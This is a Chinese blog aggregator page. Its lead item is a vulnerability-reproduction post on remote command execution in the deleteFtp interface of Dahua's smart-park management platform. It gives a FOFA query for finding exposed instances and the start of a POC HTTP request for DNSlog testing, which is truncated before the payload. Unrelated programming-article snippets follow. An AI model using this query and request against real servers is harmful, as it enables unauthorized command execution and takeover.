当前位置：首页 > news >正文

【漏洞复现】大华智慧园区综合管理平台deleteFtp接口远程命令执行

news 2025/7/8 2:46:35

漏洞描述

大华智慧园区综合管理平台deleteFtp接口存在远程命令执行，攻击者可利用该漏洞执行任意命令，获取服务器控制权限。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

漏洞集合

【传送点】上千漏洞复现复现集合 exp poc 持续更新

资产确定

fofa：app="dahua-智慧园区综合管理平台"

漏洞复现

1.利用如下POC进行Dnslog外带测试


POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHT

【漏洞复现】大华智慧园区综合管理平台deleteFtp接口远程命令执行

漏洞描述大华智慧园区综合管理平台deleteFtp接口存在远程命令执行，攻击者可利用该漏洞执行任意命令，获取服务器控制权限。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益…...

编程日记 2023/12/2 11:34:24

Unity Image - 镜像

1、为什么要使用镜像在游戏开发过程中，我们经常会为了节省美术图片资源大小，美术会将两边相同的图片进行切一半来处理。如下所示一个按钮需要 400 * 236，然而美术只需要切一张 74*236的大小就可以了。这样一来图集就可以容纳更多的图片。…...

编程日记 2023/12/2 11:32:22

深入Spring Security魔幻山谷-获取认证机制核心原理讲解(新版)

文/朱季谦这是一个古老的传说。在神秘的Web系统世界里，有一座名为Spring Security的山谷，它高耸入云，蔓延千里，鸟飞不过，兽攀不了。这座山谷只有一条逼仄的道路可通。然而，若要通过这条道路前往另一头的…...

编程日记 2023/12/2 11:31:21

【知网稳定检索】第九届社会科学与经济发展国际学术会议 (ICSSED 2024)

第九届社会科学与经济发展国际学术会议 (ICSSED 2024) 2024 9th International Conference on Social Sciences and Economic Development 第九届社会科学与经济发展国际学术会议(ICSSED 2024)定于2024年3月22-24日在中国北京隆重举行。会议主要围绕社会科学与经济发展等研究…...

编程日记 2023/12/2 11:30:21

项目场景： 使用Spark写入数据到数据库表问题描述 Column "20231201" not found in schema Some(StructType(StructField(sdate,IntegerType,false),StructField(date_time,StringType,true),StructField(num,LongType,false),StructField(table_code,S…...

编程日记 2023/12/2 11:28:18

Codebeamer—软件全生命周期管理轻量级平台

产品概述 Codebeamer涵盖了软件研发的生命周期，在一个整合的平台内支持需求管理、测试管理、软件开发过程管理以及项目管理等，同时具有IToperations&DevOps相关的内容，并支持变体管理的功能。对于使用集成的应用程序生命周期管理&#xf…...

编程日记 2023/12/2 11:25:16

Yocto - bb脚本中使用的SRC_URI、SRCREV和S

我们遇到的各种自己不了解的技术或产品时，都需要阅读用户手册。用户手册里的内容很多时，除了由目录组织文档结构外，通常还有有一个词汇表，一般作为附录放在文档最后。通过这个按照字母排序的词汇表，可以在对整个文档还…...

编程日记 2023/12/2 11:24:15

LeetCode | 965. 单值二叉树

LeetCode | 965. 单值二叉树 OJ链接首先判断树为不为空，为空直接true然后判断左子树的val，和根的val相不相同再判断右子树的val，和根的val相不相同最后递归左子树和右子树 bool isUnivalTree(struct TreeNode* root) {if(root NULL)retur…...

编程日记 2023/12/2 11:20:11

YOLOv8创新魔改教程（一）如何进行模块创新

YOLOv8创新魔改教程（一）如何进行模块创新 YOLOv8创新魔改教程本人研一，最近好多朋友问我要如何修改模型创新模块，就想着不如直接开个专栏歇一歇文章，也算是对自己学习的总结，本专栏以YOLOv8为例&#xf…...

编程日记 2023/12/2 11:19:10

postgresql-shared_buffers参数详解

shared_buffers 是 PostgreSQL 中一个非常关键的参数，用于配置服务器使用的共享内存缓冲区的大小。这些缓冲区用于存储数据页，以便数据库可以更快地访问磁盘上的数据。这个参数在 PostgreSQL 的性能方面有着重要的影响。增加 shared_buffers 可以提高数…...

编程日记 2023/12/2 11:17:08

windows10 Arcgis pro3.0-3.1

我先安装的arcgis pro3.0，然后下载的3.1。 3.0里面有pro、help、sdk、还有一些补丁包根据个人情况安装。 3.1里面也是这些。下载正版试用最新的 ArcGIS Pro 21 天教程，仅需五步！-地理信息云 (giscloud.com.cn) 1、安装windowsdesktop-…...

编程日记 2023/12/2 11:13:05

Apache Airflow (十四) ：Airflow分布式集群搭建及测试

🏡 个人主页：IT贫道_大数据OLAP体系技术栈,Apache Doris,Clickhouse 技术-CSDN博客 🚩 私聊博主：加入大数据技术讨论群聊，获取更多大数据资料。 🔔 博主个人B栈地址：豹哥教你大数据的个人空间-豹…...

编程日记 2023/12/2 11:12:04

解决VSCode按住Ctrl（or Command）点击鼠标左键不跳转的问题（不能Go to Definition）

问题出现往往在升级了VSCode以后，就会出现按住Ctrl（or Command） 点击鼠标左键不跳转的问题，这个问题很常见。解决办法 1 进入VScode的首选项，选择设置 2 输入Go to definition，找到如下两个设置&#…...

编程日记 2023/12/2 11:06:59

使用DrlParser 检测drl文件是否有错误

为避免运行时候错误，drools 7 可以使用DrlParser预先检测 drl文件是否正常。 parser 过程通常不会返回异常ruleDescr parser.parse(resource); 为空代表有异常具体测试代码如下： public class DrlParserTest {public static void main(String[] arg…...

编程日记 2023/12/2 11:04:55

ArcGIS中基于人口数据计算人口密度的方法

文章目录一、密度分析原理二、点密度分析三、线密度分析四、核密度分析一、密度分析原理密度分析是指根据输入的要素数据集计算整个区域的数据聚集状况，从而产生一个联系的密度表面。通过密度计算，将每个采样点的值散步到整个研究区域，并获得输出栅格中每个像元的密度值。…...

编程日记 2023/12/2 11:00:52

在CentOS 8.2中安装Percona Xtrabackup 8.0.x备份MySql

添加Percona软件库： yum install https://repo.percona.com/yum/percona-release-latest.noarch.rpm 安装Percona Xtrabackup 8.0.x： yum install percona-xtrabackup-80 确认安装完成后，您可以使用以下命令验证Percona Xtrabackup的安装…...

编程日记 2023/12/2 10:59:51

javascript中的正则表达式的相关知识积累

01-javascript中的正则表达式用符号/作为正则表达式的开始符和结束符 javascript中的正则表达式用符号/作为正则表达式的开始符和结束符。即javascript的正则表达式如下所示： /正则表达式/02-^：匹配字符串的开始 ^: 该符号表示匹配字符串的开始。这个…...

编程日记 2023/12/2 10:58:50

51k+ Star！动画图解、一键运行的数据结构与算法教程！

大家好，我是 Java陈序员。我们都知道，《数据结构与算法》 —— 是程序员的必修课。无论是使用什么编程语音，亦或者是前后端开发，都需要修好《数据结构与算法》这门课！ 在各个互联网大产的面试中，对数据…...

编程日记 2023/12/2 10:57:49

4.7 矩阵的转置运算（C语言实现）

【题目描述】用键盘从终端输入一个3行4列的矩阵，编写一个函数对该矩阵进行转置操作。【题目分析】矩阵的转置运算是线性代数中的一个基本运算。显然，一个m行n列的矩阵经过转置运算后就变成了一个n行m列的矩阵。这个问题的解决关键是要解决两个问题&…...

编程日记 2023/12/2 10:55:47

快速掌握Pyqt5的9种显示控件

Pyqt5相关文章: 快速掌握Pyqt5的三种主窗口快速掌握Pyqt5的2种弹簧快速掌握Pyqt5的5种布局快速弄懂Pyqt5的5种项目视图（Item View） 快速弄懂Pyqt5的4种项目部件（Item Widget） 快速掌握Pyqt5的6种按钮快速掌握Pyqt5的10种容器&…...

编程日记 2023/12/2 10:54:46

OpenLayers 可视化之热力图

注：当前使用的是 ol 5.3.0 版本，天地图使用的key请到天地图官网申请，并替换为自己的key 热力图（Heatmap）又叫热点图，是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...

编程新知 2025/7/6 21:38:30

使用VSCode开发Django指南

使用VSCode开发Django指南一、概述 Django 是一个高级 Python 框架，专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。本文将创建一个简单的 Django 应用，其中包含三个使用通用基本模板的页面。在此…...

编程新知 2025/7/6 11:27:02

树莓派超全系列教程文档--(61)树莓派摄像头高级使用方法

树莓派摄像头高级使用方法配置通过调谐文件来调整相机行为使用多个摄像头安装 libcam 和 rpicam-apps依赖关系开发包文章来源： http://raspberry.dns8844.cn/documentation 原文网址配置大多数用例自动工作，无需更改相机配置。但是，一…...

编程新知 2025/7/6 23:16:14

MMaDA: Multimodal Large Diffusion Language Models

CODE ： https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA，它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

编程新知 2025/7/6 2:30:53